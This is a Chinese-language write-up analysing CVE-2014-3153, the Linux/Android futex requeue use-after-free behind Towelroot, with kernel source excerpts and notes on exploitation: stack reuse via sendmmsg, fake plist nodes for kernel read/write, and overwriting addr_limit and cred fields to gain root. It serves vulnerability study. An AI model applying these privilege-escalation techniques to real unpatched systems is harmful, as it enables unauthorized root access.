CVE-2014-3153内核漏洞分析

简介

漏洞是14年5月份爆,属于linux内核漏洞,影响范围非常广,包括linux系统(内核版本3.14.5之前)和andorid系统(系统版本4.4之前)。受影响的系统可能被直接DOS,精心设计可以获取root权限,如安卓root工具towel。

该漏洞主要产生于内核的 Futex系统调用,漏洞利用了 futex_requeue,futex_lock_pi,futex_wait_requeue_pi三个函数存在的两个漏洞,通过巧妙的组合这三个系 统调用,攻击者可以造成futex变量有等待者,却没有拥有者,即所谓的野指针,通过函数栈填充,可以修改栈上的等待者rt_mutex中的数据,控制内核等待队列节点,通过插入节点的方式读写内核数据,达到提权目的。

这个漏洞网上分析文章比较多,详见参考文章,这里只记录自己在分析过程中踩过的坑和几个漏洞利用的技术点。

漏洞成因

漏洞主要利用的三个函数futex_requeue,futex_lock_pi,futex_wait_requeue_pi,简单说明,详细自行google。

1
2
3
4
5
6
7
8
// 加锁的函数,在uaddr1上等待
futex_lock_pi (uaddr)

//Wait on uaddr1 and take uaddr2 线程阻塞在uaddr1上,然后等待futex_requeue的唤醒,唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去,以防止“惊群”的情况发生
futex_wait_requeue_pi(uaddr1, uaddr2)

//Requeue waiters from uaddr1 to uaddr2 唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去,以防止“惊群”的情况发生
futex_requeue(uaddr1, uaddr2)

uaddr在内核中会对应一个”等待队列”(其实是一个全局的队列),每个挂起的进程在等待队列中对应一个futex_q结构:

1
2
3
4
5
6
7
8
9
10
struct futex_q {
struct plist_node list; // 链入等待队列
struct task_struct *task; // 挂起的进程本身
spinlock_t *lock_ptr; // 保存等待队列的锁,便于操作
union futex_key key; // 唯一标识uaddr的key值
struct futex_pi_state *pi_state; // 进程正在等待的锁
struct rt_mutex_waiter *rt_waiter; // 进程对应的rt_waiter
union futex_key *requeue_pi_key; // 等待被requeue的key
u32 bitset; // futex_XXX_bitset时使用
};

漏洞触发流程图:
exploit-cve-2014-3153-1

1.线程线程A调用futex_lock_pi(B)获取锁B,

2.线程B调用futex_wait_requeue_pi(A, B)阻塞在A上等待futex_requeue唤醒,

3.线程A调用futex_requeue(A, B)去唤醒B,但是B已经被锁,所以无法唤醒线程B,并进入内核态在锁B的任务队列中生成了一个rt_waiter节点

4.线程A将B置0重新调用futex_requeue(B, B),此时成功获得锁B并返回,分支走向支会走向 requeue_pi_wake_futex,尝试唤醒等待的线程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static inline
void requeue_pi_wake_futex(struct futex_q *q, union futex_key *key,
struct futex_hash_bucket *hb)

{

get_futex_key_refs(key);
q->key = *key;

__unqueue_futex(q);

WARN_ON(!q->rt_waiter);
q->rt_waiter = NULL;

q->lock_ptr = &hb->lock;

wake_up_state(q->task, TASK_NORMAL);
}

注意,这里线程B的futex_q.rt_waiter被置NULL了。

5.线程B被唤醒,futex_wait_requeue_pi(A, B)执行成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags,
u32 val, ktime_t *abs_time, u32 bitset,
u32 __user *uaddr2)

{

struct hrtimer_sleeper timeout, *to = NULL;
struct rt_mutex_waiter rt_waiter;
struct rt_mutex *pi_mutex = NULL;
...

/* Check if the requeue code acquired the second futex for us. */
if (!q.rt_waiter) {
/*
* Got the lock. We might not be the anticipated owner if we
* did a lock-steal - fix up the PI-state in that case.
*/

if (q.pi_state && (q.pi_state->owner != current)) {
spin_lock(q.lock_ptr);
ret = fixup_pi_state_owner(uaddr2, &q, current);
spin_unlock(q.lock_ptr);
}
} else {
/*
* We have been woken up by futex_unlock_pi(), a timeout, or a
* signal. futex_unlock_pi() will not destroy the lock_ptr nor
* the pi_state.
*/

WARN_ON(!&q.pi_state);
pi_mutex = &q.pi_state->pi_mutex;
ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1);
debug_rt_mutex_free_waiter(&rt_waiter);
...
}

在futex_wait_requeue_pi函数中将会走后边的第一个分支,导致rt_waiter没有从q.pi_state->pi_mutex摘除,从而导致了UAF。

漏洞利用

详细的漏洞利用过程网上的一些文章已经分析的很清楚了,这里只记录一些技术点。

修改内核数据

修改rt_waiter内容时候用的方法是栈复用,比如A申请了一个0x10大小的栈stack,A用完后stack的内容并不会在函数返回时清空,如果此时B再申请同样一个小小的栈,就会复用A申请的栈空间,利用相同的原理可以复用链表,详细的例子可参考其他分析文章。

在利用代码中,sendmmsg() API构造内核消息对象B,只要消息大小加上消息头的大小等于rt_waiter的大小, 那么这个消息很可能会重用rt_waiter占据过的内存。

其中sendmmsg() 函数栈上数据与rt_waiter的重叠部分为msgvec.msg_name的部分内容和数据是iovstack(*(msgvec.msg_iov))的部分内容,所以填充这些地方的数据即可。

注意,当目标接受到数据后这个函数会立刻返回,利用代码中通过创建一个线程连接到本地端口,从该端口中接受数据,但是不执行读数据操作,形似:

1
2
3
4
5
6
bind()
listen()
while (1) {
s = accept();
log("i have a client like hookers");
}

就像将该函数hook掉一样,这个sendmmsg()函数将保存发送状态而不是立刻返回,从而保证数据能保留在内核栈中。

读写内核地址

读内核地址比较容易,通过控制进程优先级向fake_node节点插入前置节点,那么fake_node.node_list.prev即为插入节点的内核地址。

写内核地址稍微绕一点,通过控制进程优先级向两个节点中插入新节点,如下图所示:
exploit-cve-2014-3153-2

优先级从右到左依次减小,比如分别取33,34,35,往中间插入优先级为34的新节点时,内核会先遍历这个链表,并获取优先级,内核遍历到fake_node节点,发现优先级为35,决定往fake_node节点前插入34,这个过程是

1
2
3
4
fake_node.prev.next = new_node;
new_node.prev = fake_node.prev;
fake_node.prev = new_node;
new_node.next = fake_node;

修改fake_node.prev即33的next指针内容为新节点地址,即写入了一个内核地址,所以可以通过修改fake_node.prev的值来写入任意地址。

提权

提权是通过修改自身线程的权限信息来达到修改权限的目的,但是要修改这些值就必须有读写权限。

这里有个thread_info概念,每个线程都有一个线程栈,在栈的最底端存放这thread_info结构体

1
2
3
4
5
6
7
8
struct thread_info {
unsigned long flags;
int preempt_count;
unsigned long addr_limit;
struct task_struct *task;

/* ... */
};

其中addr_limit的值即用户可访问的最大内存地址,将这个值改为0xffffffff即可访问任何内核空间,从而能够修改权限。

如何或得这个地址?先来看下如何获取thread_info的地址。

1
2
3
4
static inline struct thread_info *current_thread_info(void) {
return (struct thread_info *)
(current_stack_pointer & ~(THREAD_SIZE - 1));
}

THREAD_SIZE为8192,因此thread_info = $sp & 0xffffe000。
thread_info = 栈地址 & 0xffffe000,所以& addr_limit = * thread_info + 8

然后通过上边写内核的方法可以改写addr_limit的值,但是有一个问题是,这个改写的值是rt_waiter的地址,而这个地址又是不可控的,所以造成的结果是改的这个值比原来的还小。

利用代码用了一个巧妙的方法,通过不断生成新的rt_waiter,并判断新的rt_waiter的值是否比要改线程的thread_info地址大,如果大就能保证写进去的值比原来addr_limit值大,这样线程就有了访问自身addr_limit的能力,然后自己将addr_limit改为0xffffffff,伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rt_waiter_A = create_mew_rt_waiter();
thread_info_base_A = rt_waiter_A & 0xffffe000;
unsigned long * thread_A_addr_limit = & thread_info_base_A->addr_limit;

while(1) {
rt_waiter_B = create_mew_rt_waiter();

if (rt_waiter_B > rt_waiter_A) {
// write rt_waiter_B to thread_info_base_A->addr_limit
thread_info_base_A->addr_limit = rt_waiter_B;
break;
}
}

// thread A could write addr_limit
thread_info_base_A->addr_limit = 0xffffffff;

最后在该线程中通过修改线程的thread_info.task_struct -> cred -> secutiry进行提权,修改内容如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
securitybuf.osid = 1;
securitybuf.sid = 1;
taskbuf.pid = 1;

判断cpu进入内核

当系统调用syscall时,/proc/PID/task/TID/status中voluntary_ctxt_switches会增加
在Linux中可以通过/proc看出cpu切入/切出次数,
比如 PID = 27288,用cat 命令搞一下:

1
2
3
4
5
cat /proc/27288/status
...
voluntary_ctxt_switches: 9950
nonvoluntary_ctxt_switches: 17104
...

这里的9950和17104分别就是切入/切出 CPU的次数。
除了status之外,还可以看/proc/27288/schedstat 字段:

1
2
cat /proc/27288/schedstat
1119480311 724745506 27054

此处 27054 就是上面两个数值的和,代表切入切出总数值。

伪终端

通过创建伪终端读数据,使线程阻塞,在修改addr_limit的过程中就是通过这种方法进行等待修改。

1
2
3
4
5
6
7
HACKS_fdm = open("/dev/ptmx", O_RDWR);

unlockpt(HACKS_fdm); // 允许对伪终端从设备的访问
slavename = ptsname(HACKS_fdm); // 函数用于在给定主伪终端设备的文件描述符时,找到从伪终端设备的路径名
open(slavename, O_RDWR);
...
read(HACKS_fdm, readbuf, sizeof readbuf);

伪造节点

利用代码中setup_exploit方法生成的两个可控节点方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
static inline setup_exploit(unsigned long mem) {
*((unsigned long *) (mem - 0x04)) = 0x81; // prio = 129-120 = 9
*((unsigned long *) (mem + 0x00)) = mem + 0x20; // rt_waiter9.prio_list.next = rt_waiter13
// + 0x04 = prio_list.prev
*((unsigned long *) (mem + 0x08)) = mem + 0x28; // rt_waiter9.node_list.next = rt_waiter13.node_list
// + 0x0c = node_list.prev

*((unsigned long *) (mem + 0x1c)) = 0x85; // prio = 133-120 = 13
// + 0x20 = prio_list.next
*((unsigned long *) (mem + 0x24)) = mem; // rt_waiter13.prio_list.prev = rt_waiter9
// + 0x28 = node_list.next
*((unsigned long *) (mem + 0x2c)) = mem + 8; // rt_waiter13.node_list.prev = rt_waiter9.node_list
}

这个是根据plist_node结构生成的两个节点,优先级分别为9和13,plist_node结构如下:

1
2
3
4
5
struct plist_node {
int prio; // 4
struct list_head prio_list; // 0x8
struct list_head node_list;
};

整个利用代码都是通过向这两个节点中插入来读写内核的,其中参数long mem指向的是prio=9的prio_list,mem-4处填写的是其优先级。

arm移植x86

x86和arm唯一区别就是thread_info结构不同,x86的thread_info结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct thread_info {
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
int preempt_count; /* 0 => preemptable,
<0 => BUG */

unsigned long addr_limit;

/* ... */
};

所以稍作修改就能移植过去,代码参考https://github.com/lieanu/CVE2014-3153

总结

  1. 栈复用技巧(sendmmsg函数的使用)
  2. 利用链表达到任意地址写的技巧
  3. 修改addr_limit及cred技巧,利用技巧很通用,基本适合任何能够泄露内核地址的漏洞
  4. gdb内核调试

参考

Exploiting the Futex Bug and uncovering Towelroot
cve2014-3153 漏洞之详细分析与利用
CVE-2014-3153笔记
The Futex Vulnerability